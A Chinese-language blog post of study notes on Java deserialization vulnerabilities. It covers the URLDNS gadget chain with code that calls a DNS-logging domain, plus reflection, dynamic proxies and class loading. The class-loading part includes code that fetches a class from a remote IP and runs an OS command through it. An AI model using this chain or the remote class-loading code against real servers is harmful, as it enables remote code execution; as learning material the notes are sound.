Java反序列化漏洞笔记

前言

作为Java安全方面的盲对Java反序列化各种链方面了解的并不多,但是这些链条又极为重要,有助于更好的理解各种漏洞的产出和原理,因此以下笔记开始从底慢慢学起。

为什么会产生安全问题?

服务器反序列化数据时,客户端传递类的readObject代码会自动执行,给予攻击者在服务器上运行代码的能力

可能的形式

  1. 入口类readObject直接调用危险方法。
  2. 入口类参数包含可控类,该类有危险方法,readObject时调用。
  3. 入口类参数中包含可控类,该类又有其它危险方法的类,readObject时调用。

满足条件

要实现一个反序列化的攻击,要满足的条件如下:

  1. 共同条件,继承Serizlizable。
  2. 入口类source,重写了readObject方法,类中调用了常见的一些函数,且函数的参数类型是宽泛的,最好是jdk本身自带的。
  3. 调用链,不停的调用相同的类型。
  4. 执行类sink:即需要有最终执行代码的代码的点

简单链分析(URLDNS)

首先介绍一下比较简单又比较符合上文的常见函数HashMap,HashMap最早出现在JDK1.2中,它的参数类型宽泛,几乎能够放入所有的参数类型,同时重写了readObject方法,至于为什么需要重写readObject类,可以大致看一下源码。

    private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// Read in the threshold (ignored), loadfactor, and any hidden stuffs.defaultReadObject();reinitialize();if (loadFactor <= 0 || Float.isNaN(loadFactor))throw new InvalidObjectException("Illegal load factor: " +loadFactor);s.readInt();                // Read and ignore number of bucketsint mappings = s.readInt(); // Read number of mappings (size)if (mappings < 0)throw new InvalidObjectException("Illegal mappings count: " +mappings);else if (mappings > 0) { // (if zero, use defaults)// Size the table using given load factor only if within// range of 0.25...4.0float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);float fc = (float)mappings / lf + 1.0f;int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?DEFAULT_INITIAL_CAPACITY :(fc >= MAXIMUM_CAPACITY) ?MAXIMUM_CAPACITY :tableSizeFor((int)fc));float ft = (float)cap * lf;threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?(int)ft : Integer.MAX_VALUE);@SuppressWarnings({"rawtypes","unchecked"})Node<K,V>[] tab = (Node<K,V>[])new Node[cap];table = tab;// Read the keys and values, and put the mappings in the HashMapfor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject();putVal(hash(key), key, value, false, false);}}}

前面是对一些数据的规范化,应该是确保HashMap里面的数据一致性,后面才是关键,通过for循环,读取出了键值对,然后将键进行了Hash计算又重新放了回去,应该是为了保证Key的Hash唯一性,通过hash方法计算需要执行hashCode()方法,所以HashMap是很符合以上条件的。

其次我们来看一下URL类的,URL类中是存在hashCode()方法的,当HashCode的值不等于-1,就会调用URLStreamHandler方法中的hashCode()方法。

    public synchronized int hashCode() {if (hashCode != -1)return hashCode;hashCode = handler.hashCode(this);return hashCode;}

跳到URLStreamHandler方法中的hashCode()方法中,

    protected int hashCode(URL u) {int h = 0;// Generate the protocol part.String protocol = u.getProtocol();if (protocol != null)h += protocol.hashCode();// Generate the host part.InetAddress addr = getHostAddress(u);if (addr != null) {h += addr.hashCode();} else {String host = u.getHost();if (host != null)h += host.toLowerCase().hashCode();}// Generate the file part.String file = u.getFile();if (file != null)h += file.hashCode();// Generate the port part.if (u.getPort() == -1)h += getDefaultPort();elseh += u.getPort();// Generate the ref part.String ref = u.getRef();if (ref != null)h += ref.hashCode();return h;}

函数中获取了协议类型,通过getHostAddress()获取ip地址,因此这里为触发DNS查询,再分别通过hashCode方法进行了hash计算,返回值后通过putVal()方法放入HashMap中。

所以当我们将URL类放入到HashMap中时,因为要计算hash,会触发hashCode()方法,HashCode方法中会调用gethostAddress触发dns查询,就能形成一条简单的利用链。HashMap.readObject()->HashMap.putVal()-> HashMap.hash()->URL.hashCode()。不过这里需要注意HashMap在put的时候,会调用hashCode()方法使得hashCode被缓存即hashCode不为-1,必定会触发一次dns查询,这样就无法判断最终是否是反序列化导致的dns查询,因此这里需要在第一次put的时候通过反射机制将hashCode赋值为不等于-1,在put之后又让hashCode变回-1,确定dns查询是反序列化导致的。

关于反射机制:Java反射技术是指在运行时动态地获取类的信息并操作类的属性、方法和构造函数的一种机制。通过反射,可以在运行时获取类的成员变量、方法、构造函数等信息,并且可以在运行时通过这些信息来调用对象的方法、访问和修改对象的属性。

Java的反射API位于java.lang.reflect包中,主要包括三个核心类:Class、Field和Method。

类名作用
Class类表示一个类或接口,在运行时可以通过它来获取类的构造函数、成员变量、方法等信息
Field类表示一个类的成员变量,可以通过它来读取和修改对象的属性值
Method类表示一个类的方法,可以通过它来调用对象的方法

关于反射的一些简单使用如下:

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;public class ReflectionTest {public static void main(String [] args) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException {Person person=new Person();Class<? extends Person> c=person.getClass(); //Class类可以看成了父类定义,可以通过操作此类对Person类进行操作//实例化对象Constructor<? extends Person> constructor=c.getConstructor(String.class,int.class);Person person1=constructor.newInstance("aiwin",21);System.out.println(person1);//获取类属性Field field=c.getDeclaredField("age"); //用于获取private私有属性field.setAccessible(true);field.set(person1,22);System.out.println(person1);//调用类里面的方法Method method=c.getMethod("changeAge",int.class);method.invoke(person1,23); //触发方法System.out.println(person1);}
}

URLDNS链触发例子:

序列化类:

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;public class SerializationTest {public static  void serialize(Object obj) throws IOException {ObjectOutputStream outputStream=new ObjectOutputStream(new FileOutputStream("ser.bin"));outputStream.writeObject(obj);}public static void main(String [] args) throws IOException, NoSuchFieldException, IllegalAccessException {
//        Person person=new Person("aiwin",21);HashMap<URL,Integer> hashMap=new HashMap<URL,Integer>();URL url=new URL("http://kcovilzouv.dnstunnel.run");
//        hashMap.put(url,1);
//        serialize(person);Class<? extends URL> c = url.getClass();Field filedhashCode = c.getDeclaredField("hashCode");filedhashCode.setAccessible(true); //设置为true可修改私有变量,解除访问修饰符的控制filedhashCode.set(url,222); //第一次查询的时候让他不等于-1hashMap.put(url,222);filedhashCode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询serialize(hashMap);}}

反序列化类:

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;public class UnserializeTest {public static Object unserizlize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(Filename));Object obj=objectInputStream.readObject();return obj;}public static void main(String[] args) throws IOException, ClassNotFoundException {System.out.println(unserizlize("ser.bin"));}
}

可以发现在序列化的时候确实没触发dns查询,在反序列化的时候触发了dns查询。
file

动态代理

  1. Java动态代理是一种在运行时创建代理类和对象的机制,它可以在不修改源代码的情况下,为目标对象提供额外的功能或逻辑。通过动态代理,可以在方法调用前后做一些通用的处理,如记录日志、性能监测、事务管理等。

  2. Java动态代理基于接口实现,它利用反射机制来实现动态地创建代理类和代理对象。在运行时,代理类会实现与目标类相同的接口,并且将方法的调用委托给目标对象执行。通过动态代理,我们可以在不修改原有代码的情况下,增强目标对象的功能。

  3. Java提供了两种动态代理方式:基于接口的动态代理和基于类的动态代理。

  4. 在基于接口的动态代理中,我们需要定义一个实现InvocationHandler接口的代理类,在代理类中实现invoke()方法,该方法会在调用代理对象的方法时被执行。在invoke()方法中,我们可以进行一些前置和后置处理,并调用目标对象的方法。

  5. 在基于类的动态代理中,我们需要使用CGLib库来生成代理类。CGLib是一个强大的高性能字节码生成库,它通过继承目标类,动态生成代理类,从而实现对目标对象的代理。

  6. 使用动态代理可以在不改变源代码的情况下为目标对象添加通用的功能,提高代码的可维护性和灵活性。它在很多框架和库中被广泛应用,如Spring框架的AOP(面向切面编程)功能

动态代理在反序列化中的作用:readObject在反序列化中是自动执行的,而invoke在动态代理的函数调用中也是自动执行的,在漏洞利用中,如果当两条链没有实际的显式调用,但是使用了动态代理,可以通过动态代理进行隐式调用拼接两条链,不管前面执行任何方法,最后都会走到invoke()方法中。

动态代理简单例子:

Iuser接口:

package 动态代理;public interface IUser {void show();
}

Iuser实现类:

package 动态代理;public class UserImpl implements IUser{public UserImpl(){}@Overridepublic void show() {System.out.println("调用了show方法");}}

userproxy类:

package 动态代理;public class UserProxy implements IUser {private UserImpl user;public void setUser(UserImpl user){this.user=user;}@Overridepublic void show() {user.show();System.out.println("代理展示");}}
package 动态代理;import org.omg.CORBA.portable.InvokeHandler;import java.lang.reflect.Proxy;public class main {public static void main(String[] args){UserImpl user=new UserImpl();//静态调用
//        UserProxy userProxy=new UserProxy();
//        userProxy.setUser(user);
//        userProxy.show();//动态调用,需要的参数为类加载器、接口、触发控制器IUser userProxy= (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(), new Class<?>[]{IUser.class},new UserInvocationHandler(user));userProxy.show();}
}

invokeHandler类:

package 动态代理;import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;public class UserInvocationHandler implements InvocationHandler {IUser iUser;public UserInvocationHandler(){}public UserInvocationHandler(IUser iUser){this.iUser=iUser;}@Overridepublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable {System.out.println("调用了"+method.getName());method.invoke(iUser,args);return null;}
}

类加载机制

Java类加载机制是指在Java虚拟机(JVM)中将类的字节码加载到内存,并转换为可执行的Java对象的过程,由三部分组成:加载、连接、初始化。

  1. 加载(Loading):加载是指查找字节码文件,并创建一个对应的Class对象的过程。类加载器负责查找类文件,并将其字节码加载到内存中。在加载阶段,JVM需要完成以下动作:

    1. 查找并加载类的二进制数据。这可以通过本地文件系统、网络等途径来实现。
    2. 创建一个代表该类的Class对象,并将其存储在方法区(或称为永久代/元空间)中。
  2. 连接(Linking):连接是指将已加载的类与其他类以及它们所使用的符号引用进行关联的过程。连接分为三个阶段:

    1. 验证(Verification):确保被加载的类的字节码是有效、安全合规的
    2. 准备(Preparation):为类的静态变量分配内存空间,并设置默认初始值
    3. 解析(Resolution):将类、接口、方法等符号引用解析为直接引用,即具体的内存地址
  3. 初始化(Initialization):初始化是指对类的静态变量进行赋值,以及执行静态代码块(static块)的过程。在初始化阶段,JVM会按照顺序执行类的静态语句块和静态变量赋值操作。初始化是类加载过程的最后一步,类的实例化对象和静态方法首次调用都会触发初始化操作。

需要注意就是Java的类加载机制是延迟加载的,需要使用某个类的时才会进行加载,使用的是双亲委派模型机制,双亲委派模型简单来说就是当一个类加载器加载类的请求时,会按照一下步骤去加载:

  1. 检查该类是否已经被加载过,如果是则直接返回已加载的类。
  2. 如果类尚未被加载,那么将加载请求委托给父类加载器去加载。
  3. 如果父类加载器存在,并且父类加载器能够成功加载该类,则返回父类加载器的加载结果。
  4. 如果父类加载器不存在或者父类加载器无法加载该类,那么由当前类加载器加载该类。如果当前类加载器能够成功加载该类,则返回加载结果。
  5. 如果当前类加载器无法加载该类,那么抛出ClassNotFoundException异常。

这样子类的加载机制可以避免重复加载同一个类,确保类的全局唯一性,一般类的加载机制层级关系为:
Object->ClassLoader->SecureClassLoader->URLClassLoader->AppClassLoder

类加载与反序列化

上面也说到,类加载的时候会去加载一个Java对象,并执行代码,因此可以通过动态类的加载方法加载任意的类从而实现一些命令执行的效果,以下是部分例子

  1. 通过URLClassLoader进行任意类的加载,比如使用jar、http、file协议等

编写一个Java的命令执行类,编译成class和jar形式

import java.io.IOException;
public class Test {public static void rce(String cmd) throws IOException {Runtime.getRuntime().exec(cmd);}
}
public class loaderClassTest {public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {ClassLoader classLoader=ClassLoader.getSystemClassLoader();URLClassLoader urlClassLoader=new URLClassLoader(new URL[]{new URL("http://120.79.29.170/test/")}); //jar file http协议都可String cmd="calc";Class<?> c=urlClassLoader.loadClass("Test");c.getMethod("rce",String.class).invoke(null,cmd);
  1. ClassLoader.defineClass字节码加载任意私有类
public class loaderClassTest {public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {ClassLoader classLoader=ClassLoader.getSystemClassLoader();Method defindClassMethod=ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);defindClassMethod.setAccessible(true);byte[] code= Files.readAllBytes(Paths.get("A:\\下载\\tmp\\Test.class"));Class defineclass= (Class) defindClassMethod.invoke(classLoader,"Test",code,0,code.length);defineclass.newInstance();}
  1. Unsafe.defineClass字节码加载不能直接生成的public类
public class loaderClassTest {public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {ClassLoader classLoader=ClassLoader.getSystemClassLoader();byte[] code= Files.readAllBytes(Paths.get("A:\\下载\\tmp\\Test.class"));Class c = Unsafe.class;Field theUafeField=c.getDeclaredField("theUnsafe");theUafeField.setAccessible(true);Unsafe unsafe= (Unsafe) theUafeField.get(null);Class c2=unsafe.defineClass("Test",code,0,code.length,classLoader,null);c2.newInstance();}

Unsafe类的构造被私有化的,Unsafe类对外只提供一个静态方法来获取当前Unsafe实例,Unsafe是一个底层类,源码中有很多native标签,底层实现代码是C,因此Unsafe类只会被BootstrapClassLoader加载,在调用Unsafe对象时会判断当前加载器是否为空,如果不为空,则为抛出SecurityException异常,这样是为了防止ApplicationCloader去调用Unsafe对象,因此ApplicationCloader要加载UnSafe类需要通过反射获取一个Unsafe对象。

public final class Unsafe {private static final Unsafe theUnsafe;public static final int INVALID_FIELD_OFFSET = -1;public static final int ARRAY_BOOLEAN_BASE_OFFSET;public static final int ARRAY_BYTE_BASE_OFFSET;public static final int ARRAY_SHORT_BASE_OFFSET;public static final int ARRAY_CHAR_BASE_OFFSET;public static final int ARRAY_INT_BASE_OFFSET;public static final int ARRAY_LONG_BASE_OFFSET;public static final int ARRAY_FLOAT_BASE_OFFSET;public static final int ARRAY_DOUBLE_BASE_OFFSET;public static final int ARRAY_OBJECT_BASE_OFFSET;public static final int ARRAY_BOOLEAN_INDEX_SCALE;public static final int ARRAY_BYTE_INDEX_SCALE;public static final int ARRAY_SHORT_INDEX_SCALE;public static final int ARRAY_CHAR_INDEX_SCALE;public static final int ARRAY_INT_INDEX_SCALE;public static final int ARRAY_LONG_INDEX_SCALE;public static final int ARRAY_FLOAT_INDEX_SCALE;public static final int ARRAY_DOUBLE_INDEX_SCALE;public static final int ARRAY_OBJECT_INDEX_SCALE;public static final int ADDRESS_SIZE;private static native void registerNatives();private Unsafe() {}@CallerSensitivepublic static Unsafe getUnsafe() {Class var0 = Reflection.getCallerClass();if (!VM.isSystemDomainLoader(var0.getClassLoader())) {throw new SecurityException("Unsafe");} else {return theUnsafe;}}

总结

持续学习更新。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/69110.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

下一代计算:嵌入AI的云/雾/边缘/量子计算

计算系统在过去几十年中推动了计算机科学的发展&#xff0c;现在已成为企业世界的核心&#xff0c;提供基于云计算、雾计算、边缘计算、无服务器计算和量子计算的服务。现代计算系统解决了现实世界中许多需要低延迟和低响应时间的问题。这有助于全球各地的青年才俊创办初创企业…

Android中如何不编译源生模块

如果想让自己的app 替换系统的app 比如使用闪电浏览器替换系统的Browser 首先把闪电浏览器放到 vendor/rockchip/common/apps Android.mk LOCAL_PATH : $(call my-dir) include $(CLEAR_VARS)LOCAL_MODULE : Lightning LOCAL_SRC_FILES : $(LOCAL_MODULE).apk LOCAL_MODULE_C…

【TypeScript】this指向,this内置组件

this类型 TypeScript可推导的this类型函数中this默认类型对象中的函数中的this明确this指向 怎么指定this类型 this相关的内置工具类型转换ThisParameterType<>ThisParameterType<>ThisType TypeScript可推导的this类型 函数中this默认类型 对象中的函数中的this…

Win10基于 Anaconda 配置 Deeplabcut 环境

最近需要做动物行为学分析的相关研究&#xff0c;同时由于合作者只有 Windows 系统&#xff0c;于是只好在 Windows 中配置环境。说实话还真的是挺折磨的。。。 一、下载 Anaconda 可以通过清华源下载 Anaconda&#xff1a;https://mirrors.tuna.tsinghua.edu.cn/anaconda/ar…

stack+queue

适配器 介绍 在C的标准模板库&#xff08;STL&#xff09;中&#xff0c;有几种适配器&#xff0c;它们是一些容器或函数对象的包装&#xff0c;提供了不同的接口和功能&#xff0c;用于适应特定的需求 分类 STL中的适配器可以分为两类&#xff1a;容器适配器和迭代器适配器 容…

MySql011——检索数据:过滤数据(使用正则表达式)

前提&#xff1a;使用《MySql006——检索数据&#xff1a;基础select语句》中创建的products表 一、正则表达式介绍 关于正则表达式的介绍大家可以看我的这一篇博客《Java038——正则表达式》&#xff0c;这里就不再累赘。 二、使用MySQL正则表达式 2.1、基本字符匹配 检索…

K8S MetalLB LoadBalancer

1. 简介 kubernetes集群没有L4负载均衡&#xff0c;对外暴漏服务时&#xff0c;只能使用nodePort的方式&#xff0c;比较麻烦&#xff0c;必须要记住不同的端口号。 LoadBalancer&#xff1a;使用云提供商的负载均衡器向外部暴露服务&#xff0c;外部负载均衡器可以将流量路由…

记一次触发器拦截更新操作

1、背景 业务上有一张表记录仓库和经纬度的&#xff0c;正常情况不怎么做变更&#xff1b;业务反馈经常出现经纬度被更新的情况&#xff0c;操作人都是接口或者admin&#xff0c;人工运维后又会被接口/admin覆盖更新掉 2、过程 遇到这种情况&#xff0c;我的第一反应是定位代…

docker镜像管理

创建阿里云容器镜像仓库&#xff1a; 访问地址&#xff1a;https://www.aliyun.com/search?sceneall&kACR&#xff0c;点击立即开通 在实例列表选择个人实例&#xff0c;根据提示创建命名空间、镜像仓库名称等。&#xff08;创建时&#xff0c;代码源我选择的是本地&…

C++ 学习系列 二 -- RAII 机制

一 什么是 RAII &#xff1f; RAII &#xff08;Resource Acquisition Is Initialization&#xff09;是由c之父Bjarne Stroustrup提出的&#xff0c;中文翻译为资源获取即初始化&#xff0c; 其含义是&#xff1a;用局部对象来管理资源的技术&#xff0c;这里所说的资源指的是…

创意转写,文字催生:介绍有用的录音实时转写功能

我有一个朋友叫小敏&#xff0c;是一名记者。她在采访工作中常常遇到一个难题&#xff1a;采访过程中非常容易错过重要信息&#xff0c;到底要用哪款手机录音实时转写软件才能解决这个问题&#xff1f;于是有一天&#xff0c;她听说了一款神奇的录音转文字软件&#xff0c;决定…

七、Linux操作系统下,whichfind如何使用?

1、which命令 &#xff08;1&#xff09;语法&#xff1a;which 参数 &#xff08;2&#xff09;参数&#xff1a;要查找的命令 &#xff08;3&#xff09;示例&#xff1a; 2、find命令 &#xff08;1&#xff09;find 起始路径 -name “被查找的文件名” 注意&#xff1…